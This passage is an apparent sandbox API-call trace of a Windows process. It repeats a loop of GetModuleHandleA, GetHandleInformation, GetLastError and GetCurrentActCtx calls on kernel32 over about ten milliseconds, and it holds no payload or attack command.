[0069.837] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.837] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.837] GetLastError () returned 0x6 [0069.837] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.837] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.837] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.837] GetLastError () returned 0x6 [0069.837] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.837] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.837] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.837] GetLastError () returned 0x6 [0069.837] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.837] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.837] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.837] GetLastError () returned 0x6 [0069.837] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.837] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.838] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.838] GetLastError () returned 0x6 [0069.838] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.838] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.838] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.838] GetLastError () returned 0x6 [0069.838] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.838] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.838] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.838] GetLastError () returned 0x6 [0069.838] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.838] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.838] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.838] GetLastError () returned 0x6 [0069.838] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.838] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.838] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.838] GetLastError () returned 0x6 [0069.838] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.838] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.838] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.838] GetLastError () returned 0x6 [0069.838] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.838] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.838] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.838] GetLastError () returned 0x6 [0069.838] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.838] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.838] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.838] GetLastError () returned 0x6 [0069.838] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.838] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.838] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.838] GetLastError () returned 0x6 [0069.838] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.838] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.838] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.838] GetLastError () returned 0x6 [0069.838] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.839] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.839] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.839] GetLastError () returned 0x6 [0069.839] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.839] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.839] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.839] GetLastError () returned 0x6 [0069.839] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.839] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.839] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.839] GetLastError () returned 0x6 [0069.839] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.839] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.839] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.839] GetLastError () returned 0x6 [0069.839] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.839] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.839] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.839] GetLastError () returned 0x6 [0069.839] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.839] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.839] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.839] GetLastError () returned 0x6 [0069.839] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.839] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.839] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.839] GetLastError () returned 0x6 [0069.839] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.839] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.839] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.839] GetLastError () returned 0x6 [0069.839] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.839] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.839] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.839] GetLastError () returned 0x6 [0069.839] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.840] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.840] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.840] GetLastError () returned 0x6 [0069.840] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.840] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.840] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.840] GetLastError () returned 0x6 [0069.840] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.840] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.840] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.840] GetLastError () returned 0x6 [0069.840] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.840] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.840] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.840] GetLastError () returned 0x6 [0069.840] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.840] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.840] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.840] GetLastError () returned 0x6 [0069.840] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.840] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.840] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.840] GetLastError () returned 0x6 [0069.840] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.840] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.840] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.840] GetLastError () returned 0x6 [0069.840] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.840] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.840] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.840] GetLastError () returned 0x6 [0069.840] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.840] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.840] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.840] GetLastError () returned 0x6 [0069.840] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.840] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.840] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.841] GetLastError () returned 0x6 [0069.841] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.841] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.841] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.841] GetLastError () returned 0x6 [0069.841] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.841] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.841] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.841] GetLastError () returned 0x6 [0069.841] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.841] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.841] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.841] GetLastError () returned 0x6 [0069.841] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.841] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.841] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.841] GetLastError () returned 0x6 [0069.841] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.841] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.841] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.841] GetLastError () returned 0x6 [0069.841] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.841] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.841] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.841] GetLastError () returned 0x6 [0069.841] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.841] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.841] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.841] GetLastError () returned 0x6 [0069.841] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.841] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.841] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.841] GetLastError () returned 0x6 [0069.841] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.841] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.841] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.841] GetLastError () returned 0x6 [0069.841] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.842] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.842] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.842] GetLastError () returned 0x6 [0069.842] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.842] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.842] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.842] GetLastError () returned 0x6 [0069.842] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.842] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.842] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.842] GetLastError () returned 0x6 [0069.842] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.842] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.842] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.842] GetLastError () returned 0x6 [0069.842] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.842] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.842] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.842] GetLastError () returned 0x6 [0069.842] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.842] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.842] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.842] GetLastError () returned 0x6 [0069.842] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.842] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.842] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.842] GetLastError () returned 0x6 [0069.842] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.842] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.842] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.842] GetLastError () returned 0x6 [0069.842] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.842] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.842] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.842] GetLastError () returned 0x6 [0069.842] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.842] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.842] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.843] GetLastError () returned 0x6 [0069.843] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.843] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.843] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.843] GetLastError () returned 0x6 [0069.843] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.843] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.843] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.843] GetLastError () returned 0x6 [0069.843] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.843] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.843] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.843] GetLastError () returned 0x6 [0069.843] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.843] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.843] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.843] GetLastError () returned 0x6 [0069.843] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.843] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.843] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.843] GetLastError () returned 0x6 [0069.843] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.843] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.843] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.843] GetLastError () returned 0x6 [0069.843] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.843] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.843] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.843] GetLastError () returned 0x6 [0069.843] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.843] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.843] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.843] GetLastError () returned 0x6 [0069.843] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.843] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.843] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.843] GetLastError () returned 0x6 [0069.843] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.844] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.844] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.844] GetLastError () returned 0x6 [0069.844] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.844] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.844] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.844] GetLastError () returned 0x6 [0069.844] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.844] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.844] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.844] GetLastError () returned 0x6 [0069.844] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.844] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.844] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.844] GetLastError () returned 0x6 [0069.844] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.844] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.844] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.844] GetLastError () returned 0x6 [0069.844] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.844] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.844] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.844] GetLastError () returned 0x6 [0069.844] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.844] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.844] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.844] GetLastError () returned 0x6 [0069.844] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.844] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.844] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.844] GetLastError () returned 0x6 [0069.844] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.844] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.844] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.844] GetLastError () returned 0x6 [0069.844] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.844] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.844] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.845] GetLastError () returned 0x6 [0069.845] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.845] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.845] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.845] GetLastError () returned 0x6 [0069.845] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.845] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.845] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.845] GetLastError () returned 0x6 [0069.845] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.845] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.845] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.845] GetLastError () returned 0x6 [0069.845] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.845] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.845] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.845] GetLastError () returned 0x6 [0069.845] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.845] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.845] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.845] GetLastError () returned 0x6 [0069.845] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.845] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.845] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.845] GetLastError () returned 0x6 [0069.845] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.845] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.845] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.845] GetLastError () returned 0x6 [0069.845] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.845] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.845] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.845] GetLastError () returned 0x6 [0069.845] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.845] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.845] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.845] GetLastError () returned 0x6 [0069.845] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.846] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.846] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.846] GetLastError () returned 0x6 [0069.846] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.846] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.846] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.846] GetLastError () returned 0x6 [0069.846] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.846] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.846] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.846] GetLastError () returned 0x6 [0069.846] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.846] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.846] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.846] GetLastError () returned 0x6 [0069.846] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.846] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.846] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.846] GetLastError () returned 0x6 [0069.846] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.846] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.846] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.846] GetLastError () returned 0x6 [0069.846] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.846] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.846] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.846] GetLastError () returned 0x6 [0069.846] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.846] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.846] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.846] GetLastError () returned 0x6 [0069.846] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.846] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.847] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.847] GetLastError () returned 0x6 [0069.847] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.847] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.847] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.847] GetLastError () returned 0x6 [0069.847] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.847] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.847] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.847] GetLastError () returned 0x6 [0069.847] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.847] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.847] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 